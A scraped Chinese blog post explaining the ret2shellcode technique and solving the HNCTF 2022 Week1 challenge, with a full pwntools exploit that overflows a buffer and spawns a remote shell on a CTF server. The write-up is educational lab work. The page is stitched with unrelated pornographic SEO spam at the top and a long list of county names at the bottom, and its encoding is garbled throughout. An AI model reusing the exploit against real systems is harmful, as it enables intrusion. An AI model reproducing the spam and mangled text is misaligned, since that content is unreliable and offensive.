五月天青色头像情侣网名,国产亚洲av片在线观看18女人,黑人巨茎大战俄罗斯美女,扒下她的小内裤打屁股

歡迎光臨散文網(wǎng) 會(huì)員登陸 & 注冊(cè)

ret2shellcode

2023-04-11 21:19 作者:拉狗不出異格不改名  | 我要投稿

這邊就簡(jiǎn)單的情況分析一下,能力有限,復(fù)雜的shellcode還不會(huì)寫。

1、概述:

自己調(diào)用shell的機(jī)器碼注入到內(nèi)存中,然后通過棧溢出復(fù)寫返回地址,使得程序跳轉(zhuǎn)到shellcode所在的內(nèi)存之中

?????? 這里,我們需要找到一個(gè)能夠讀寫的段地址,并且這個(gè)地址是可以執(zhí)行的(-x-w),同時(shí)還需要知道如何修改這些段的內(nèi)容

2、攻擊手段(四種簡(jiǎn)單的常見思路)

1)向stack中注入shellcode

這種情況一般是啥保護(hù)也沒有開的情況,直接寫就完事

2)向bss段中注入shellcode

在虛擬內(nèi)存中,bss主要保存沒有初始值的全局變量或靜態(tài)變量(匯編中由占位符?聲明)。

這里是針對(duì)bss段可以寫的情況。

3)向data段中注入shellcode

data段主要保存的是已經(jīng)初始化了的全局變量或靜態(tài)變量,攻擊思路和bss注入方法向類似

4)向heap段中注入shellcode

heap主要保存通過動(dòng)態(tài)內(nèi)存分配產(chǎn)生的變量。如果heap段可寫并且可以執(zhí)行,攻擊者就可以嘗試向shellcode注入到動(dòng)態(tài)分配的變量中

3、shellcode的使用(一些詳細(xì)的介紹,可以看看這里)

The art of shellcode - roderick - record and learn! (roderickchan.github.io)

(補(bǔ)充一下,要是我們要知道我們掉用的函數(shù)長(zhǎng)度,可以

python3

from pwn import*

len(asm(shellcraft.sh())

?

4、這里結(jié)合一道詳細(xì)的例題來簡(jiǎn)單的說一下

[HNCTF 2022 Week1]ret2shellcode

這里結(jié)合簡(jiǎn)單的原理來說一下怎么做的。

1、檢查一下保護(hù)機(jī)制:


2、分析主函數(shù):

IDA中的main


這一道題,經(jīng)過我們的分析發(fā)現(xiàn)并沒有發(fā)現(xiàn)bin/sh文件的地址,然而,我們發(fā)現(xiàn)在主函數(shù)中存在可以讀寫的段,再想到題目名稱的提示,我們可以進(jìn)行ret2shellcode

通過查看,

buff段地址

(vmmap:

buff地址是可以讀寫的。

3、開始編寫exp,

這里我們s[ ]數(shù)組由100個(gè)空間,返回地址加8


再結(jié)合之前分析buff位于0x4040A0處

可以知道我們的payload=shell.ljust(0x108,b’0’)+p64(buff)

完整exp:

?

from pwn import *

context(log_level='debug',arch='amd64', os='linux')

?

io = remote('node3.anna.nssctf.cn',28916)

?

shell=asm(shellcraft.sh())

buff=0x4040A0

payload=shell.ljust(0x108,b'0')+p64(buff)

io.sendline(payload)

?

io.interactive()

4、獲得flag


ret2shellcode的評(píng)論 (共 條)

分享到微博請(qǐng)遵守國(guó)家法律
石林| 太保市| 商水县| 阜城县| 红原县| 荔浦县| 来凤县| 易门县| 衡南县| 崇义县| 临澧县| 石嘴山市| 新蔡县| 洱源县| 德兴市| 崇仁县| 临沭县| 米易县| 金昌市| 洛隆县| 大荔县| 贵定县| 通渭县| 祥云县| 嘉峪关市| 清苑县| 曲阳县| 新密市| 罗山县| 镇沅| 竹山县| 景泰县| 白玉县| 万安县| 福安市| 平果县| 会泽县| 平定县| 武威市| 红安县| 长海县|